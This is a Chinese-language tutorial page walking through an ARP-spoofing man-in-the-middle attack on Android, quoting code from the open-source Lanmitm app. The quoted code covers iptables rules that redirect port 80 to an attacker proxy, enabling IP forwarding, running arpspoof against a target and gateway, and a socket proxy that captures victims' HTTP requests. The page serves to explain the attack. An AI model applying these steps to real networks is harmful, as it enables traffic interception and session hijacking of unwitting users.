Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android 中間人攻擊

Android 中間人攻擊

編輯:關於Android編程

0x00

Android中間人攻擊的思路就是劫持局域網中被攻擊機器和服務器間的對話。被攻擊機器和服務器表面上工作正常,實際上已經被中間人劫持。可以從一張圖來明白這個過程。

\

受攻擊主機發送的數據,首先經過了攻擊者,從服務器返回的數據也經過攻擊者,再發送給受攻擊主機。

0x01

Android開源中間人攻擊例子,請參考https://github.com/ssun125/Lanmitm。我們這裡主要分析這個鏈接中效果預覽中會話劫持的原理。

\

分析https://github.com/ssun125/Lanmitm源代碼,要實現arp欺騙,有關鍵的四步:

1、使用Iptables進行NAT數據包轉發

	public static final String[] PORT_REDIRECT_CMD = {
			"iptables -t nat -F",
			"iptables -F",
			"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
			"iptables -P FORWARD ACCEPT",
			"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
					+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };
這個命令是在ProxyService類的startHttpProxy方法中調用的。

 

 

2、開啟端口轉發,允許本機像路由器那樣轉發數據包

 

	private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
			"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };
這個是在ArpService類的onStartCommand方法中調用的。

3、ARP投毒

 

		if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
			if (target_ip == null)
				target_ip = AppContext.getTarget().getIp();

			if (!target_ip.equals(AppContext.getGateway()))
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + target_ip + " "
						+ AppContext.getGateway();
			else
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + AppContext.getGateway() + " "
						+ target_ip;

			arpSpoof = new Thread() {

				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_cmd, true, false);
				}
			};
			arpSpoof.start();
		}
		if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
			arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
					+ " -t " + AppContext.getGateway() + " "
					+ AppContext.getIp();

			arpSpoofRecv = new Thread() {
				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
				}
			};
			arpSpoofRecv.start();
		}
這個是在ArpService類的onStartCommand方法中調用的。

4、在攻擊者機器根據Socket原理,創建一個WebServer,原理類似於使用NanoHttpd實現簡易WebServer。這樣被攻擊者發送給攻擊者的請求就能被獲取,並且顯示在界面上。

核心的代碼如下:

 

public class HttpProxy extends Thread {
	......
	@Override
	public void run() {
		try {
			mServerSocket = new ServerSocket();
			mServerSocket.setReuseAddress(true);
			mServerSocket.bind(
					new InetSocketAddress(AppContext.getInetAddress(),
							HTTP_PROXY_PORT), BACKLOG);
			executor = Executors.newCachedThreadPool();
			while (!stop) {
				Socket client = mServerSocket.accept();
				DealThread dealThread = null;
				switch (mProxyMode) {
				case MODE_PROXY_SIMPLE:
					dealThread = new SimpleDealThread(client,
							mOnRequestListener);
					break;
				case MODE_PROXY_DEEP:
					dealThread = new DeepDealThread(client, mOnRequestListener);
					break;
				}
				executor.execute(dealThread);
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (mServerSocket != null) {
				try {
					mServerSocket.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
			if (executor != null) {
				executor.shutdownNow();
			}
		}
	}
	......
}
  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved